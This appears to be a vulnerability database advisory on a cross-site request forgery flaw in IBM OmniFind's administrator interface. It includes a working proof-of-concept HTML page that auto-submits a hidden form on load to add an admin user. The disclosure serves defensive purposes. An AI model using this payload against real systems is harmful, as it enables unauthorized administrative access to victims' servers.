IBM OmniFind CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

IBM OmniFind CSRF Vulnerability, Unprotected Forms in Administrator Interfac


                                                The forms in the administrator interface are not protected against XSRF. The 
attacker can do any action in the context of the victim. 

An example attack scenario could be:
The attacker creates a malicious website with a prepared form to add a new
user, which will be submitted on load. 


Exploit to add an admin user:
&#60;html&#62;
  &#60;head&#62;&#60;title&#62;Some seemingly benign web-site&#60;/title&#62;&#60;/head&#62;
  &#60;body onLoad=&#34;document.forms[0].submit();&#34;&#62;

    &#60;form method=&#34;post&#34;
  action=&#34;http://omnifind-host/ESAdmin/security.do&#34;&#62;
      &#60;input type=&#34;hidden&#34; name=&#34;command&#34; value=&#34;saveNewUser&#34;/&#62;
      &#60;input type=&#34;hidden&#34; name=&#34;user.name&#34; value=&#34;joemueller&#34;/&#62;
      &#60;input type=&#34;hidden&#34; name=&#34;user.role&#34; value=&#34;0&#34;/&#62;
      &#60;input type=&#34;hidden&#34; name=&#34;user.allCollections&#34; value=&#34;true&#34;/&#62;
      &#60;input type=&#34;hidden&#34; name=&#34;apply&#34; value=&#34;OK&#34;/&#62;
    &#60;/form&#62;
  &#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1